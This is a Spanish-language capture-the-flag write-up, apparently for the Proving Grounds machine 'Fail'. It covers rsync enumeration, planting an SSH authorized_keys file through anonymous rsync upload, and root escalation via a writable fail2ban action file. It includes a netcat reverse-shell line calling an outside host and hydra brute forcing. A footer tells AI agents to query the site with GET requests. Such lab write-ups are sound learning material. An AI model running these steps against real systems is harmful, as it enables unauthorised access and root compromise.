# MAQUINA FAIL (ENUM RSYNC 'PUERTO 873' + SSH- KEYGEN + PREVISEC 'GROUP FAIL2BAIN')

Realizo un escaneo de puertos con nmap para ver los puertos abiertos, los servicios y las versiones de estos.

![](/files/wj4q8hMEIm9u23TLYnNO)

```
nmap -sC -sV -p 'puertos' 'ip' -oN fullscan.txt
```

El escaneo me encontró 2 puertos interesantes el 22 ssh y el 873 rsync.

Como no tengo credenciales dejo de lado el puerto 22 y me concentro en el puerto 873. Con nmap ejecute un script el cual me recopila un poco de información.

```
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
```

![](/files/2V1cKOiraCo184P1H3at)

Este script me muestra que tengo un usuario llamado fox y al parecer estaría el directorio home.

Con el siguiente comando voy a poder listar de forma anónima el directorio donde se encuentra fox.

```
rsync -av --list-only rsync://192.168.0.123/fox
```

![](/files/B2D25pWcE79rI25k3ryF)

Puedo ver que tengo varias carpetas, ahora lo bueno que tiene rsync es que puedo descargarme o traerme estos archivos a mi directorio de trabajo con el siguiente comando.

![](/files/bOau0QXiGISRCkFeKK3o)

```
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```

Estos archivos no contenían nada interesante, luego de una busqueda tambien puedo realizar subida de archivos, asi que intente cargar un archivo.txt.

```
rsync -av hola.txt rsync://fox@192.168.169.126/fox
```

![](/files/w6pTnQB6Zl3cowIqMo8F)

Ahora que subí con exito el mi archivo lo que hize fue realizar la subida de archivos de mi id\_rsa publica para tener acceso como fox.

Lo primero fue crear mi id\_rsa con ssh-keygen.

![](/files/GMPigvK7x8QCZUvyZ2q7)

Luego cree una carpeta llamada .ssh en el directorio /tmp, seguido copie la id\_rsa.publica al directorio /tmp.ssh pero como el nombre de authorized\_keys.

A la carpeta /tmp/.ssh la subo completa a la maquina victima con el comando utilizado anteriormente.

Ya subido el archivo a través del ssh como usuario fox me logue y ya estoy dentro de la maquina como usuario fox.

![](/files/jYkFHoq76tl0NiTat9Vg)

Ya dentro voy a realice un reconocimiento de la maquina para ver a lo que me estoy enfrentando.

Como solo tengo un usuario aparte del root, voy a buscar la forma de escalar privilegios para acceder como usuario root.

![](/files/I5hU9idOE2UpU47xv0bz)

En este caso probé utilizando sudo -l pero no hizo nada, luego busque permisos SUID encontrando lo siguiente.

![](/files/IOrffhbFGuomtJJl2lPH)

Al verificar el ID me tope con un grupo interesante que tiene permisos de root '1000' llamado fail2ban.

<https://es.wikipedia.org/wiki/Fail2ban>

![](/files/PNm8zZ1z4sJUKtEPfJ8o)

Buscando en google encontré que puedo aprovechar unas malas configuraciones para poder realizar la escalada de privilegios.

Lo primero que hice fue buscar archivos que tenga permisos de lectura y me tope con varios archivos pertenecientes a ese grupo.

![](/files/jIoxCgNVhrgWtxUtoV4Y)

Luego voy al directorio donde están estos archivos y listo completo la carpeta observando que tengo permisos de escritura también en todos los archivos.

![](/files/MtGag6TF5DHFeVPXqrvI)

Como dije anteriormente encontré la forma de escalar privielegios abusando de unas malas configuraciones de estos archivos, para ello realizo lo siguiente.

***`# Copio **iptables-multiport.conf** al directorio de inicio del usuario actual. cp /etc/fail2ban/action.d/iptables-multiport.conf ~`***

***`# Ahora modifique el archivo. nano ~/iptables-multiport.conf`***

***`#Insertamos una carga útil de shell inverso en el **actionban**. actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash`***

***`#Luego, vuelva el archivo de configuración al original.`***

***`mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf`***

Terminado de realizar estos pasos lo que hize fue utilizar hydra para realizar fuerza bruta al ssh.

![](/files/lsb54HfAexLcRjoJwHQX)

Listo ahora somos root.

<https://exploit-notes.hdks.org/exploit/network/rsync-pentesting/>

[https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-privilege-escalation/) [privilege-escalation/](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-privilege-escalation/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://1gnotus.gitbook.io/ignotus_pwn/proving-ground-practice-and-play/writeup/maquina-fail-enum-rsync-puerto-873-+-ssh-keygen-+-previsec-group-fail2bain.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
